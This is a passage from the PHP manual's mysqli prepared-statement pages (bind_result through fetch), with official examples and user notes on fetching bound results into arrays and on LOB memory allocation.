$results = array();
while ($mysqli_stmt_object->fetch()) {
    $results[] = $byref_array_for_fields;
}

?>
This will NOT work. $results will have a bunch of arrays, but each one will have a reference to $byref.

PHP is optimizing performance here: you aren't so much copying the $byref array into $results as you are *adding* it. That means $results will have a bunch of $byrefs - the same array repeated multiple times. (So what you see is that $results is all duplicates of the last item from the query.)

hamidhossain (01-Sep-2008) shows how to get around that: inside the loop that fetches results you also have to loop through the list of fields, copying them as you go. In effect, copying everything individually.

Personally, I'd rather use some kind of function that effectively duplicates an array than write my own code. Many of the built-in array functions don't work, apparently using references rather than copies, but a combination of array_map and create_function does.

<?php

// blah blah...
call_user_func_array(array($mysqli_stmt_object, "bind_result"), $byref_array_for_fields);

// returns a copy of a value
$copy = create_function('$a', 'return $a;');

$results = array();
while ($mysqli_stmt_object->fetch()) {
    // array_map will preserve keys when done here and this way
    $results[] = array_map($copy, $byref_array_for_fields);
}

?>

All these problems would go away if they just implemented a fetch_assoc or even fetch_array for prepared statements...
Miguel Hatrick 17-Jul-2009 06:18
Took some cool code from here and made a little class for those object oriented kind of guys

used like this:

<?php
// execute prepared statement
$stmt->execute();
$stmt->store_result();

//custom class :D bind to Statement Result mambo jambo!
$sr = new Statement_Result($stmt);

$stmt->fetch();
printf("ID: %d\n", $sr->Get('id') );

/////////////////////////////////

class Statement_Result
{
    private $_bindVarsArray = array();
    private $_results = array();

    public function __construct(&$stmt)
    {
        $meta = $stmt->result_metadata();

        while ($columnName = $meta->fetch_field())
            $this->_bindVarsArray[] = &$this->_results[$columnName->name];

        call_user_func_array(array($stmt, 'bind_result'), $this->_bindVarsArray);

        $meta->close();
    }

    public function Get_Array()
    {
        return $this->_results;
    }

    public function Get($column_name)
    {
        return $this->_results[$column_name];
    }
}
?>
atulkashyap1 at hotmail dot com 25-Apr-2009 12:31
bind_ result can also be used to return an array of variables from a function,
This took me a long time to figure out, so I would like to share this.

<?php
function extracting(){
  $query="SELECT topic, detail, date, tags
    FROM updates
    ORDER BY date DESC
    LIMIT 5 ";
  if($stmt = $this->conn->prepare($query)) {
    $stmt->execute();
    $stmt->bind_result($updates[0],$updates[1],$updates[2],$updates[3]);
    $i=0;
    while($stmt->fetch()){
      $i++;
      $name='t'.$i;
      $$name = array($updates[0],$updates[1],$updates[2],$updates[3]);
    }
    return array($t1,$t2,$t3,$t4,$t5,);
    $stmt->close();
  }
}
?>
hamidhossain at gmail dot com 01-Sep-2008 04:07
lot of people don't like how bind_result works with prepared statements! it requires you to pass long list of parameters which will be loaded with column value when the function being called.

To solve this, i used call_user_func_array function and result_metadata functions. which make easy and automatically returns an array of all columns results stored in an array with column names.

please don't forget to change setting variables with your own credentials:

<?php
$host = 'localhost';
$user = 'root';
$pass = '1234';
$data = 'test';

$mysqli = new mysqli($host, $user, $pass, $data);
/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($stmt = $mysqli->prepare("SELECT * FROM sample WHERE t2 LIKE ?")) {
    $tt2 = '%';

    $stmt->bind_param("s", $tt2);
    $stmt->execute();

    $meta = $stmt->result_metadata();
    while ($field = $meta->fetch_field())
    {
        $params[] = &$row[$field->name];
    }

    call_user_func_array(array($stmt, 'bind_result'), $params);

    while ($stmt->fetch()) {
        foreach($row as $key => $val)
        {
            $c[$key] = $val;
        }
        $result[] = $c;
    }

    $stmt->close();
}
$mysqli->close();
print_r($result);
?>
bb at servertje dot nl 24-Feb-2008 12:24
Although inspired by an earlier post, this method could be added to any of your database objects. It's an object oriented implementation of an earlier post.

The method returns an array with objects representing a row. Each property represents a column and its value.

<?php
    private function getresult($stmt)
    {
      $result = array();

      $metadata = $stmt->result_metadata();
      $fields = $metadata->fetch_fields();

      for (;;)
      {
        $pointers = array();
        $row = new stdClass();

        $pointers[] = $stmt;
        foreach ($fields as $field)
        {
          $fieldname = $field->name;
          $pointers[] = &$row->$fieldname;
        }

        call_user_func_array(mysqli_stmt_bind_result, $pointers);

        if (!$stmt->fetch())
          break;

        $result[] = $row;
      }

      $metadata->free();

      return $result;
    }
?>
thejkwhosaysni at gmail dot com 19-Oct-2005 10:12
I've created these functions which will act like mysqli_fetch_array() and mysqli_fetch_object() but work with bound results.

<?php
    function fetch_object() {
        $data = mysqli_stmt_result_metadata($this->stmt);
        $count = 1; //start the count from 1. First value has to be a reference to stmt.
        $fieldnames[0] = &$this->stmt;
        $obj = new stdClass;
        while ($field = mysqli_fetch_field($data)) {
            $fn = $field->name; //get all the feild names
            $fieldnames[$count] = &$obj->$fn; //load the fieldnames into an object..
            $count++;
        }
        call_user_func_array(mysqli_stmt_bind_result, $fieldnames);
        mysqli_stmt_fetch($this->stmt);
        return $obj;
    }

    function fetch_array() {
        $data = mysqli_stmt_result_metadata($this->stmt);
        $count = 1; //start the count from 1. First value has to be a reference to the stmt. because bind_param requires the link to $stmt as the first param.
        $fieldnames[0] = &$this->stmt;
        while ($field = mysqli_fetch_field($data)) {
            $fieldnames[$count] = &$array[$field->name]; //load the fieldnames into an array.
            $count++;
        }
        call_user_func_array(mysqli_stmt_bind_result, $fieldnames);
        mysqli_stmt_fetch($this->stmt);
        return $array;

    }

?>

Hope this helps some people, I was puzzled by this for a while.
andrey at php dot net 07-Oct-2005 02:38
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.
brad dot jackson at resiideo dot com 22-Mar-2005 06:10
A potential problem exists in binding result parameters from a prepared statement which reference large datatypes like mediumblobs.  One of our database tables contains a table of binary image data.  Our largest image in this table is around 50Kb, but even so the column is typed as a mediumblob to allow for files larger than 64Kb.  I spent a frustrating hour trying to figure out why mysqli_stmt_bind_result choked while trying to allocate 16MB of memory for what should have been at most a 50Kb result, until I realized the function is checking the column type first to find out how big a result _might_ be retrieved, and attempting to allocate that much memory to contain it.  My solution was to use a more basic mysqli_result() query.  Another option might have been to retype the image data column as blob (64Kb limit).


Closes a prepared statement

  • « mysqli_stmt::bind_result
  • mysqli_stmt::data_seek »
  • PHP Manual
  • mysqli_stmt
  • Closes a prepared statement

mysqli_stmt::close

mysqli_stmt_close

(PHP 5)

mysqli_stmt::close -- mysqli_stmt_close — Closes a prepared statement

Description

Object oriented style

bool mysqli_stmt::close ( void )

Procedural style

bool mysqli_stmt_close ( mysqli_stmt $stmt )

Closes a prepared statement. mysqli_stmt_close() also deallocates the statement handle. If the current statement has pending or unread results, this function cancels them so that the next query can be executed.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution

User Contributed Notes

daniel dot kipp at web dot de 17-Jan-2006 06:06
if you are repeating an statement in an loop using bind_param and so on inside it for a larger operation. i thougt id would be good to clean it with stmt->close. but it broke always with an error after aprox. 250 operations . As i tried it with  stmt->reset it worked for me.


Seeks to an arbitrary row in statement result set

  • « mysqli_stmt::close
  • mysqli_stmt::$errno »
  • PHP Manual
  • mysqli_stmt
  • Seeks to an arbitrary row in statement result set

mysqli_stmt::data_seek

mysqli_stmt_data_seek

(PHP 5)

mysqli_stmt::data_seek -- mysqli_stmt_data_seek — Seeks to an arbitrary row in statement result set

Description

Object oriented style

void mysqli_stmt::data_seek ( int $offset )

Procedural style

void mysqli_stmt_data_seek ( mysqli_stmt $stmt , int $offset )

Seeks to an arbitrary result pointer in the statement result set.

mysqli_stmt_store_result() must be called prior to mysqli_stmt_data_seek().

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

offset

Must be between zero and the total number of rows minus one (0.. mysqli_stmt_num_rows() - 1).

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* execute query */
    $stmt->execute();

    /* bind result variables */
    $stmt->bind_result($name, $code);

    /* store result */
    $stmt->store_result();

    /* seek to row no. 400 */
    $stmt->data_seek(399);

    /* fetch values */
    $stmt->fetch();

    printf ("City: %s  Countrycode: %s\n", $name, $code);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* bind result variables */
    mysqli_stmt_bind_result($stmt, $name, $code);

    /* store result */
    mysqli_stmt_store_result($stmt);

    /* seek to row no. 400 */
    mysqli_stmt_data_seek($stmt, 399);

    /* fetch values */
    mysqli_stmt_fetch($stmt);

    printf ("City: %s  Countrycode: %s\n", $name, $code);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

City: Benin City  Countrycode: NGA

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution

User Contributed Notes

phpnet at stuffonmylaptop dot com 24-Nov-2011 12:25
Although the documentation says you must provide a number between 0 and count - 1, you can actually supply a negative number, which appears to be cast to positive (such as in abs()).

For example:

<?php
$db = new mysqli('localhost', 'test', 'password', 'schema');
$db->multi_query("
            SELECT * FROM
            (
                SELECT 1 as 'position'
                UNION SELECT 2 as 'position'
                UNION SELECT 3 as 'position'
                UNION SELECT 4 as 'position'
                UNION SELECT 5 as 'position'
            ) as rows");

$result = $db->store_result();

for ($i = 0; $i < $result->num_rows; $i++)
{
    $offset = $i;
    $result->data_seek($offset);
    var_dump("Seek offset is: {$offset}", $result->fetch_object());
}

for ($i = 0; $i < $result->num_rows; $i++)
{
    $offset = -$i;
    $result->data_seek($offset);
    var_dump("Seek offset is: {$offset}", $result->fetch_object());
}


Returns the error code for the most recent statement call

  • « mysqli_stmt::data_seek
  • mysqli_stmt::$error_list »
  • PHP Manual
  • mysqli_stmt
  • Returns the error code for the most recent statement call

mysqli_stmt::$errno

mysqli_stmt_errno

(PHP 5)

mysqli_stmt::$errno -- mysqli_stmt_errno — Returns the error code for the most recent statement call

Description

Object oriented style

int $mysqli_stmt->errno;

Procedural style

int mysqli_stmt_errno ( mysqli_stmt $stmt )

Returns the error code for the most recently invoked statement function that can succeed or fail.

Client error message numbers are listed in the MySQL errmsg.h header file, server error message numbers are listed in mysqld_error.h. In the MySQL source distribution you can find a complete list of error messages and error numbers in the file Docs/mysqld_error.txt.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

An error code value. Zero means no error occurred.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* drop table */
    $mysqli->query("DROP TABLE myCountry");

    /* execute query */
    $stmt->execute();

    printf("Error: %d.\n", $stmt->errno);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* drop table */
    mysqli_query($link, "DROP TABLE myCountry");

    /* execute query */
    mysqli_stmt_execute($stmt);

    printf("Error: %d.\n", mysqli_stmt_errno($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Error: 1146.

See Also

  • mysqli_stmt_error() - Returns a string description for last statement error
  • mysqli_stmt_sqlstate() - Returns SQLSTATE error from previous statement operation

User Contributed Notes

There are no user contributed notes for this page.


Returns a list of errors from the last statement executed

  • « mysqli_stmt::$errno
  • mysqli_stmt::$error »
  • PHP Manual
  • mysqli_stmt
  • Returns a list of errors from the last statement executed

mysqli_stmt::$error_list

mysqli_stmt_error_list

(PHP 5 >= 5.4.0)

mysqli_stmt::$error_list -- mysqli_stmt_error_list — Returns a list of errors from the last statement executed

Description

Object oriented style

array $mysqli_stmt->error_list;

Procedural style

array mysqli_stmt_error_list ( mysqli_stmt $stmt )

Returns an array of errors for the most recently invoked statement function that can succeed or fail.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

A list of errors, each as an associative array containing the errno, error, and sqlstate.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* drop table */
    $mysqli->query("DROP TABLE myCountry");

    /* execute query */
    $stmt->execute();

    echo "Error:\n";
    print_r($stmt->error_list);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* drop table */
    mysqli_query($link, "DROP TABLE myCountry");

    /* execute query */
    mysqli_stmt_execute($stmt);

    echo "Error:\n";
    print_r(mysql_stmt_error_list($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Array
(
    [0] => Array
        (
            [errno] => 1146
            [sqlstate] => 42S02
            [error] => Table 'world.myCountry' doesn't exist
        )

)

See Also

  • mysqli_stmt_error() - Returns a string description for last statement error
  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_sqlstate() - Returns SQLSTATE error from previous statement operation

User Contributed Notes

There are no user contributed notes for this page.


Returns a string description for last statement error

  • « mysqli_stmt::$error_list
  • mysqli_stmt::execute »
  • PHP Manual
  • mysqli_stmt
  • Returns a string description for last statement error

mysqli_stmt::$error

mysqli_stmt_error

(PHP 5)

mysqli_stmt::$error -- mysqli_stmt_error — Returns a string description for last statement error

Description

Object oriented style

string $mysqli_stmt->error;

Procedural style

string mysqli_stmt_error ( mysqli_stmt $stmt )

Returns a string containing the error message for the most recently invoked statement function that can succeed or fail.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

A string that describes the error. An empty string if no error occurred.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* drop table */
    $mysqli->query("DROP TABLE myCountry");

    /* execute query */
    $stmt->execute();

    printf("Error: %s.\n", $stmt->error);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* drop table */
    mysqli_query($link, "DROP TABLE myCountry");

    /* execute query */
    mysqli_stmt_execute($stmt);

    printf("Error: %s.\n", mysqli_stmt_error($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Error: Table 'world.myCountry' doesn't exist.

See Also

  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_sqlstate() - Returns SQLSTATE error from previous statement operation

User Contributed Notes

There are no user contributed notes for this page.


Executes a prepared Query

  • « mysqli_stmt::$error
  • mysqli_stmt::fetch »
  • PHP Manual
  • mysqli_stmt
  • Executes a prepared Query

mysqli_stmt::execute

mysqli_stmt_execute

(PHP 5)

mysqli_stmt::execute -- mysqli_stmt_execute — Executes a prepared Query

Description

Object oriented style

bool mysqli_stmt::execute ( void )

Procedural style

bool mysqli_stmt_execute ( mysqli_stmt $stmt )

Executes a query that has been previously prepared using the mysqli_prepare() function. When executed any parameter markers which exist will automatically be replaced with the appropriate data.

If the statement is UPDATE, DELETE, or INSERT, the total number of affected rows can be determined by using the mysqli_stmt_affected_rows() function. Likewise, if the query yields a result set the mysqli_stmt_fetch() function is used.

Note:

When using mysqli_stmt_execute(), the mysqli_stmt_fetch() function must be used to fetch the data prior to performing any additional queries.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCity LIKE City");

/* Prepare an insert statement */
$query = "INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)";
$stmt = $mysqli->prepare($query);

$stmt->bind_param("sss", $val1, $val2, $val3);

$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';

/* Execute the statement */
$stmt->execute();

$val1 = 'Bordeaux';
$val2 = 'FRA';
$val3 = 'Aquitaine';

/* Execute the statement */
$stmt->execute();

/* close statement */
$stmt->close();

/* retrieve all rows from myCity */
$query = "SELECT Name, CountryCode, District FROM myCity";
if ($result = $mysqli->query($query)) {
    while ($row = $result->fetch_row()) {
        printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
    }
    /* free result set */
    $result->close();
}

/* remove table */
$mysqli->query("DROP TABLE myCity");

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCity LIKE City");

/* Prepare an insert statement */
$query = "INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)";
$stmt = mysqli_prepare($link, $query);

mysqli_stmt_bind_param($stmt, "sss", $val1, $val2, $val3);

$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';

/* Execute the statement */
mysqli_stmt_execute($stmt);

$val1 = 'Bordeaux';
$val2 = 'FRA';
$val3 = 'Aquitaine';

/* Execute the statement */
mysqli_stmt_execute($stmt);

/* close statement */
mysqli_stmt_close($stmt);

/* retrieve all rows from myCity */
$query = "SELECT Name, CountryCode, District FROM myCity";
if ($result = mysqli_query($link, $query)) {
    while ($row = mysqli_fetch_row($result)) {
        printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
    }
    /* free result set */
    mysqli_free_result($result);
}

/* remove table */
mysqli_query($link, "DROP TABLE myCity");

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Stuttgart (DEU,Baden-Wuerttemberg)
Bordeaux (FRA,Aquitaine)

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • mysqli_stmt_get_result() - Gets a result set from a prepared statement

User Contributed Notes

vedran-b at email dot htnet dot hr 04-Oct-2010 06:20
After the stmt->execute() function is called the variable "$X" that was storing the bind param e.g.

$stmt->bind_param("i", $X);

gets set to 0.

So don't try to use it for something else later... like me ...for $_session key coz you'll get crazy..... like me...

p.s. $_session keys starting with nums get discarded.
Typer85 at gmail dot com 28-Dec-2006 11:23
Just to clarify this note in the Manual regarding this function:

"Note:  When using mysqli_stmt_execute(), the mysqli_stmt_fetch()  function must be used to fetch the data prior to performing any additional queries."

This is because this function DOES NOT store the result set on the client side so you have to fetch everything in the result set or else you risk major errors.

If you however use the function mysqli_stmt_store_result immediately after you use this function, you are forcing the result set to be stored on the client side and thus it is safe to issue extra queries before fetching all the data.

This is where you really have to make a choice regarding on your application's priorities. If you know your result set is memory hefty, then its a good idea not to store it on the client side so you don't run in any errors regarding unavailable memory on the server. But this also means your not going to do a lot of calculations on the result set or else you will prevent any other usage of the table to which the result set came from until you fetched it all.

If your going to do a lot of calculations or your result set is not memory hefty, its probably a good idea to store it on the client side.

Most of these problems can easily be solved if you have a lot of memory available on your server but thats usually not the case for those on shared hosting.

An intelligent way to counter this problem if your on a shared host is to be smart in the way you design your queries. Try to limit the result set if you know you will be fetching memory hefty result sets.

Test different alternatives for your application and see what works best for you under different conditions.

Good Luck,
andrey at php dot net 07-Oct-2005 02:34
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.


Fetch results from a prepared statement into the bound variables

  • « mysqli_stmt::execute
  • mysqli_stmt::$field_count »
  • PHP Manual
  • mysqli_stmt
  • Fetch results from a prepared statement into the bound variables

mysqli_stmt::fetch

mysqli_stmt_fetch

(PHP 5)

mysqli_stmt::fetch -- mysqli_stmt_fetch — Fetch results from a prepared statement into the bound variables

Description

Object oriented style

bool mysqli_stmt::fetch ( void )

Procedural style

bool mysqli_stmt_fetch ( mysqli_stmt $stmt )

Fetch the result from a prepared statement into the variables bound by mysqli_stmt_bind_result().

Note:

Note that all columns must be bound by the application before calling mysqli_stmt_fetch().

Note:

Data are transferred unbuffered without calling mysqli_stmt_store_result() which can decrease performance (but reduces memory cost).

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Return Values
Value | Description
TRUE | Success. Data has been fetched
FALSE | Error occurred
NULL | No more rows/data exists or data truncation occurred

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 150,5";

if ($stmt = $mysqli->prepare($query)) {

    /* execute statement */
    $stmt->execute();

    /* bind result variables */
    $stmt->bind_result($name, $code);

    /* fetch values */
    while ($stmt->fetch()) {
        printf ("%s (%s)\n", $name, $code);
    }

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 150,5";

if ($stmt = mysqli_prepare($link, $query)) {

    /* execute statement */
    mysqli_stmt_execute($stmt);

    /* bind result variables */
    mysqli_stmt_bind_result($stmt, $name, $code);

    /* fetch values */
    while (mysqli_stmt_fetch($stmt)) {
        printf ("%s (%s)\n", $name, $code);
    }

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Rockford (USA)
Tallahassee (USA)
Salinas (USA)
Santa Clarita (USA)
Springfield (USA)

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_error() - Returns a string description for last statement error
  • mysqli_stmt_bind_result() - Binds variables to a prepared statement for result storage

User Contributed Notes

Bruce Martin 30-Dec-2011 06:51
I was trying to use a generic select * from table statment and have the results returned in an array. I finally came up with this solution, others have similar solutions, but they where not working for me.
<?php
    //Snip use normal methods to get to this point
    $stmt->execute();
    $metaResults = $stmt->result_metadata();
    $fields = $metaResults->fetch_fields();
    $statementParams='';
     //build the bind_results statement dynamically so I can get the results in an array
     foreach($fields as $field){
         if(empty($statementParams)){
             $statementParams.="\$column['".$field->name."']";
         }else{
             $statementParams.=", \$column['".$field->name."']";
         }
    }
    $statment="\$stmt->bind_result($statementParams);";
    eval($statment);
    while($stmt->fetch()){
        //Now the data is contained in the assoc array $column. Useful if you need to do a foreach, or
        //if your lazy and didn't want to write out each param to bind.
    }
    // Continue on as usual.
?>
denath2 at yahoo dot com 19-May-2008 09:27
As php at johnbaldock dot co dot uk mentioned the problem is that the $row returned is reference and not data. So, when you write  $array[] = $row, the $array will be filled up with the last element of the dataset. To come up with this you can write the following hack:

// loop through all result rows
while ($stmt->fetch()) {

    foreach( $row as $key=>$value )
    {
        $row_tmb[ $key ] = $value;
    }
    $array[] = $row_tmb;

}
piedone at pyrocenter dot hu 08-May-2008 09:57
I tried the mentioned stmt_bind_assoc() function, but somehow, very strangely it doesn't allow the values to be written in an array! In the while loop, the row is fetched correctly, but if I write $array[] = $row;, the array will be filled up with the last element of the dataset... Unfortunately I couldn't find a solution.
Lyndon 24-Apr-2008 02:38
This function uses the same idea as the last, but instead binds the fields to a given array.
<?php
function stmt_bind_assoc (&$stmt, &$out) {
    $data = mysqli_stmt_result_metadata($stmt);
    $fields = array();
    $out = array();

    $fields[0] = $stmt;
    $count = 1;

    while($field = mysqli_fetch_field($data)) {
        $fields[$count] = &$out[$field->name];
        $count++;
    }
    call_user_func_array(mysqli_stmt_bind_result, $fields);
}

// example

$stmt = $mysqli->prepare("SELECT name, userid FROM somewhere");
$stmt->execute();

$row = array();
stmt_bind_assoc($stmt, $row);

// loop through all result rows
while ($stmt->fetch()) {
    print_r($row);
}
?>
dan dot latter at gmail dot com 16-Aug-2007 09:14
The following function taken from PHP Cookbook 2, returns an associative array of a row in the resultset, place in while loop to iterate through whole result set.

<?php
public function fetchArray () {
   $data = mysqli_stmt_result_metadata($this->stmt);
        $fields = array();
        $out = array();

        $fields[0] = &$this->stmt;
        $count = 1;

        while($field = mysqli_fetch_field($data)) {
            $fields[$count] = &$out[$field->name];
            $count++;
        }

        call_user_func_array(mysqli_stmt_bind_result, $fields);
        mysqli_stmt_fetch($this->stmt);
        return (count($out) == 0) ? false : $out;

    }
?>
Typer85 at gmail dot com 28-Dec-2006 02:55
Just a side note,

I see many people are contributing in ways to help return result sets for prepared statements in ASSOSITAVE arrays the same as the mysqli_fetch_assos function might return from a normal query issued via mysqli_query.

This is done, in all the examples I have seen, by dynamically getting the field names in the prepared statement and binding them using 'variable' variables, which are variables that are created dynamically with the name of the field names.

Some thing though you should take into consideration is illegal variable names in PHP. Assume that you have a field name in your database table named 'My Field' , notice the space between 'My' and 'Field'.

To dynamically create this variable is illegal in PHP as variables can not have spaces in them. Furthermore, you won't be able to access the binded data as you can not reference a variable like so:

<?php

// Syntax Error.

echo $My Table;

?>

The only suitable solution I find now is to replace all spaces in a field name with an underscore so that you can use the binded variable like so:

<?php

// This Works.

echo $My_Table;

// Notice the space is now replaced with an underscore.

?>

All you simply have to do is before you dynamically bind the data, so a string search for any spaces in the table name, replace them with an underscore, THEN bind the variable.

That way you should not run into problems.
php at johnbaldock dot co dot uk 09-Nov-2006 10:33
Having just learned about call_user_func_array I reworked my fetch_assoc example. Swapping the following code makes for a more elegant (and faster) solution.

Using:
<?php
while ($columnName = $meta->fetch_field()) {
    $columns[] = &$results[$columnName->name];
}
call_user_func_array(array($stmt, 'bind_result'), $columns);
?>

Instead of this code from my example below:
<?php
$bindResult = '$stmt->bind_result(';
while ($columnName = $meta->fetch_field()) {
   $bindResult .= '$results["'.$columnName->name.'"],';
}
$bindResult = rtrim($bindResult, ',') . ');';
eval($bindResult);
?>

The full reworked fetch_assoc code for reference:
<?php
$mysqli = new mysqli($dbHost, $dbUsername, $dbPassword, $dbDatabase);
$stmt = $mysqli->prepare('select * from foobar');
$stmt->execute();
$stmt->store_result();
$meta = $stmt->result_metadata();

while ($column = $meta->fetch_field()) {
   $bindVarsArray[] = &$results[$column->name];
}
call_user_func_array(array($stmt, 'bind_result'), $bindVarsArray);

$stmt->fetch();

echo var_dump($results);
// outputs:
//
// array(3) {
//  ["id"]=>
//  &int(1)
//  ["foo"]=>
//  &string(11) "This is Foo"
//  ["bar"]=>
//  &string(11) "This is Bar"
// }
?>
